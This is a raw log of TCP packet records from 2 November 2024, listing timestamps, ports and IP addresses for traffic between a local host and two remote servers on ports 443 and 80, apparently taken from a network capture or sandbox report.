Nov 2, 2024 07:16:16.652045965 CET	443	63837	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.655916929 CET	63840	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.655982971 CET	443	63840	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.656088114 CET	63840	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.656963110 CET	63840	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.656996012 CET	443	63840	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.665806055 CET	443	63835	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.665920019 CET	443	63835	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.666039944 CET	63835	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.666148901 CET	63835	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.666166067 CET	443	63835	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.666176081 CET	63835	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.666181087 CET	443	63835	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.668994904 CET	63841	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.669032097 CET	443	63841	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.669090986 CET	63841	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.669193029 CET	63841	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.669212103 CET	443	63841	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.683484077 CET	443	63838	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.683517933 CET	443	63838	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.683559895 CET	63838	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.683561087 CET	443	63838	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.683602095 CET	63838	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.683741093 CET	63838	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.683753967 CET	443	63838	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.683763981 CET	63838	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.683768988 CET	443	63838	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.687504053 CET	63842	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.687517881 CET	443	63842	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.687568903 CET	63842	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.687711000 CET	63842	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.687725067 CET	443	63842	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.695466995 CET	443	63836	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.695604086 CET	443	63836	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.695739031 CET	63836	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.695766926 CET	63836	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.695776939 CET	443	63836	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.695787907 CET	63836	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.695791960 CET	443	63836	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.698328972 CET	63843	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.698360920 CET	443	63843	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.698489904 CET	63843	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.699704885 CET	63843	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.699721098 CET	443	63843	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.769486904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769542933 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.769563913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769575119 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769587040 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769596100 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.769598961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769617081 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769623041 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.769629002 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769640923 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769644976 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.769653082 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769661903 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769673109 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769675970 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.769686937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769700050 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.769721031 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.769757986 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769793034 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.769819021 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769829035 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769851923 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769860983 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.769862890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769874096 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.769890070 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.769912958 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770093918 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770103931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770119905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770132065 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770140886 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770143986 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770152092 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770155907 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770173073 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770179987 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770183086 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770191908 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770198107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770207882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770217896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770220995 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770235062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770240068 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770247936 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770251989 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770278931 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770359993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770371914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770386934 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770396948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770407915 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770407915 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770426989 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770435095 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770450115 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770458937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770474911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770486116 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770492077 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770495892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770503044 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770509005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770519972 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770526886 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770529032 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770536900 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770540953 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770553112 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770565033 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770570993 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770598888 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770620108 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770642042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770652056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770682096 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770802975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770818949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770829916 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770844936 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770847082 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770860910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770870924 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770874023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770886898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770886898 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770900965 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770911932 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770911932 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770924091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770935059 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770937920 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770942926 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770946980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770958900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770968914 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.770977020 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770996094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.770998955 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771004915 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771008968 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771018028 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771035910 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771049023 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771121979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771133900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771174908 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771229029 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771246910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771256924 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771269083 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771281004 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771289110 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771397114 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771408081 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771416903 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771429062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771439075 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771440983 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771450996 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771461964 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771471024 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771472931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771478891 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771497011 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771508932 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771508932 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771522999 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771526098 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771538019 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771552086 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771554947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771563053 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771569014 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771584034 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771593094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771605015 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771605968 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771612883 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771652937 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771672010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771684885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771706104 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771716118 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771718025 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771732092 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771744013 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771758080 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771816015 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771827936 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771837950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771847963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771858931 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771862030 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771872997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771883965 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771893978 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771919012 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771923065 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771934032 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771950960 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771960974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771970034 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.771972895 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771982908 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.771989107 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772020102 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772044897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772087097 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772121906 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772133112 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772149086 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772160053 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772170067 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772172928 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772181034 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772185087 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772208929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772212982 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772219896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772254944 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772257090 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772267103 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772269964 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772279024 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772283077 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772299051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772320032 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772380114 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772392988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772408962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772418022 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772427082 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772430897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772443056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772450924 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772461891 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772489071 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772594929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772610903 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772624016 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772634029 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772640944 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772645950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772649050 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772659063 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772675037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772694111 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772726059 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772737026 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772768021 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772790909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772803068 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772819042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772840023 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772847891 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772869110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772905111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772916079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.772922993 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772934914 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772965908 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.772996902 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773013115 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773025036 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773036003 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773037910 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773047924 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773056030 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773057938 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773066044 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773097038 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773137093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773174047 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773174047 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773190022 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773226023 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773257017 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773269892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773279905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773296118 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773304939 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773308039 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773334980 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773364067 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773381948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773408890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773410082 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773420095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773432016 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773441076 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773446083 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773452997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773461103 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773489952 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773521900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773536921 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773552895 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773565054 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773571968 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773581028 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773581982 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773592949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773606062 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773610115 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773622990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773628950 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773634911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773641109 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773670912 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773787975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773804903 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773816109 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773825884 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773838997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773844004 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773855925 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773864985 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773868084 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773879051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.773884058 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773910999 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.773927927 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.937942028 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.937957048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.937974930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.937987089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.937999010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.938003063 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.938009977 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.938021898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.938040018 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.938047886 CET	63819	80	192.168.2.4	185.215.113.16
